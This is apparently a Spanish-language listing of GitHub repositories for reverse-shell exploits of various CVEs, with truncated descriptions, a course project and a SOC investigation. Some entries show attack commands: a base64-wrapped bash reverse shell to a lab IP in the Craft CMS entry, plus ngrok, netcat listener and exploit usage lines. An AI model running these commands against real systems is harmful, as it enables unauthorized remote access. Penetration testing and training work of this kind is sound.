Exploiting-a-vulnerability-using-reverse-shell

Fundamentos de Seguridad de la Información — Proyecto Primavera 2026 Puntos Totales: 20 | Fecha Límite: No se aceptan entregas tardías Resumen Este proyecto simula un escenario real de ataque y defensa en dos máquinas virtuales. Explotarás una vulnerabilidad crítica de RCE antes de la autenticaci...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018. Descripción del Exploit El exploit envía una solicitud POST que contiene una reverse shell JSP a...

IPFire_2.25_RCE_Authenticated

IPFire 2.25 Ejecución Remota de Código Autenticado - CVE-2021-33393 Este exploit se basa en CVE-2021-33393 https://nvd.nist.gov/vuln/detail/CVE-2021-33393 y se construyó sobre el exploit original de Mücahit Saratar https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce, extendiéndolo para lograr...

CVE-2024-23692

CVE-2024-23692 - Ejecución Remota de Código RCE en Rejetto HFS Una documentación táctica y guía de explotación para CVE-2024-23692 , una vulnerabilidad crítica de Ejecución Remota de Código RCE no autenticada que afecta a las versiones de Rejetto HTTP File Server HFS anteriores a la 2.3m. Esta gu...

OpenWire-CVE-2023-46604-Investigation

Investigación de OpenWire-CVE-2023-46604 Laboratorio OpenWire Durante mi turno como Analista de Centro de Operaciones de Seguridad SOC de Nivel 2, recibí una escalación de un analista de Nivel 1 sobre un servidor de acceso público que había sido observado comunicándose con múltiples direcciones I...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 deserialización de JBOSS AS 6.X versión de shell inversa Interfaz GUI reescrita según el modo de línea de comandos del autor detalle:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big herramienta de explotación de vulnerabilidades versión GUI v1.0 Instrucciones de uso de la herramienta En el lugar de ejecución de comandos, si la primera ejecución falla, inténtalo varias veces más. Detección de direcciones de destino en lote Ejecutar shell inversa Detecció...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui La herramienta solo debe usarse bajo autorización. En caso de incidentes penales, los ataques no autorizados no tienen relación conmigo. Espero que todos conozcan bien la "Ley de Seguridad Cibernética". Durante un punto de control me encontré con el 14882 y no encontré un...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC real Uso Descargar bun https://github.com/oven-sh/bun/releases Iniciar ngrok ngrok tcp 4444 Escuchar en localhost 4444 nc -nvlp 4444 Ejecutar exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/...

CIMCown

CIMCown CVE-2026-20200 Inyección de argumentos en Cisco IMC con RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Aviso: NSIDE-SA-2026-003 Entrada del blog:...

offsec-karaf-exploits

Exploits de Apache Karaf para OffSec Uso: python exploit.py --help Ejemplo: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf Reconstruir el Payload Configurar el Framework Felix 1. Crea el directorio lib mkdir -p ./revshell/lib 2. Descarg...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus Si conoces un lugar que sea vulnerable a SSRF, esta herramienta te ayudará a generar payload Gopher para explotar SSRF Server Side Request Forgery y obtener RCE Remote Code Execution. También te ayudará a obtener la reverse shell en el servidor víctima. Y para más información puedes...

php-reverse-shell

php-reverse-shell...

Splunk-RCE-poc

Splunk RCE - PoC Exploit de prueba de concepto para CVE-2023-46214, SVD-2023-1104 Uso La URL de la instancia de Splunk, el nombre de usuario, la contraseña, la IP del shell inverso y el puerto son todos necesarios como parámetros de línea de comandos. Por ejemplo: $ python3 CVE-2023-46214.py --ur...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Una vez que el módulo pasa esta verificación como "Add-On válido", cualquier script install.php se ejecuta automáticamente en el servidor. Este exploit simplemente utiliza un reverse shell en PHP como payload PHP. Demostración en YouTube:...

sagemcom-fast-3890-exploit

Exploit del Sagemcom Fast 3890 Este exploit utiliza la vulnerabilidad Cable Haunt para obtener una shell en el módem de cable Sagemcom F@ST 3890 50.10.19 desde el acceso a la red local. La versión de firmware 50.10.21 o superior debería ser segura frente a Cable Haunt. Esta prueba de concepto ha...

Exploit for CVE-2026-44011

CVE-2026-44011-craft-rce-poc CVE-2026-44011-craft-rce-poc Usag...

CVE-2022-0543

CVE-2022-0543 适用于通过Lua沙盒逃逸漏洞进行Redis RCE的完整利用程序。基于 https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/。 功能: 自动反向Shell -I + -P 单条命令执行 -x 基本Shell 默认 待办: 需要更好的检测机制以防止误报 免责声明: 此脚本用于审计系统安全性。请仅在您自己的系统或已获得书面授权利用的系统上使用此脚本。...

samba-trans2open-exploit-report

Samba Trans2Open Exploit Report This repository contains a full technical walkthrough of exploiting the Samba Trans2Open vulnerability CVE-2003-0201 on a virtual Linux environment. The exploitation was done for educational and ethical hacking training purposes. Report Contents Network and service...